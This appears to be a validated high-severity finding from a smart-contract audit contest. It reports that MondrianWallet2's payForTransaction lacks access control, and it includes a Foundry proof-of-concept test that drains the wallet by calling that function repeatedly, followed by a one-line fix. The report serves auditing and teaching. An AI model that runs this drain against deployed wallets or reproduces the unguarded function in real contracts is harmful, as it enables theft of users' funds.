Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

No security check in `MondrianWallet2::payForTransaction` allows anyone to drain the wallet

Summary

The MondrianWallet2::payForTransaction function which is used to pay gas to the bootloader after a transaction has been executed is callable by anyone. This leaves the wallet vulerable to a drain attack, where the attacker can repeatedly call this function till the wallet has no more funds left.

Vulnerability Details

The MondrianWallet2::payForTransaction function is used to pay gas to the bootloader after a transaction has been executed. This should only be callable by the bootloader but anyone can call this function.

function payForTransaction(
bytes32, /*_txHash*/
bytes32, /*_suggestedSignedHash*/
Transaction memory _transaction
) external payable {
bool success = _transaction.payToTheBootloader();
if (!success) {
revert MondrianWallet2__FailedToPay();
}
}

Impact

The contract can be drained, sending all of a wallet's fund to the bootloader contract. Anyone can repeatedly call the MondrianWallet2::payForTransaction function to drain the contract of its balance.

Proof of Concept

The attacker calls MondrianWallet2::payForTransaction function repeatedly till the user has no more funds left.

Place the following code into ModrianWallet2Test.t.sol

address public USER_1 = makeAddr("user1");
function testZkAnyoneCanPayForTransaction() public onlyZkSync {
vm.startPrank(USER_1);
uint256 gas = 200000000;
Transaction memory transaction = Transaction({
txType: 113,
from: uint256(uint160(USER_1)),
to: uint256(uint160(USER_1)),
gasLimit: gas,
gasPerPubdataByteLimit: gas,
maxFeePerGas: gas,
maxPriorityFeePerGas: gas,
paymaster: 0,
nonce: vm.getNonce(address(mondrianWallet)),
value: 0,
reserved: [uint256(0), uint256(0), uint256(0), uint256(0)],
data: hex"",
signature: hex"",
factoryDeps: new bytes32[](0),
paymasterInput: hex"",
reservedDynamic: hex""
});
// The wallet balance starts off at 1000000000000000000
console2.log(address(mondrianWallet).balance);
for (uint256 i = 0; i < 25; ++i) {
mondrianWallet.payForTransaction(
EMPTY_BYTES32,
EMPTY_BYTES32,
transaction
);
}
// At the end, the wallet is drained and balance is 0
console2.log(address(mondrianWallet).balance);
}

Tools Used

No tools were used to find this vulnerability

Recommendations

Add the MondrianWallet2::requireFromBootLoader modifier in the MondrianWallet2::payForTransaction function, to prevent anyone but the bootloader from accessing the function.

- function payForTransaction(bytes32, /*_txHash*/, bytes32, /*_suggestedSignedHash*/, Transaction memory _transaction ) external payable { ...
+ function payForTransaction(bytes32, /*_txHash*/, bytes32, /*_suggestedSignedHash*/, Transaction memory _transaction ) external payable requireFromBootLoader { ...
Updates

Lead Judging Commences

bube Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of access control in payForTransaction function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.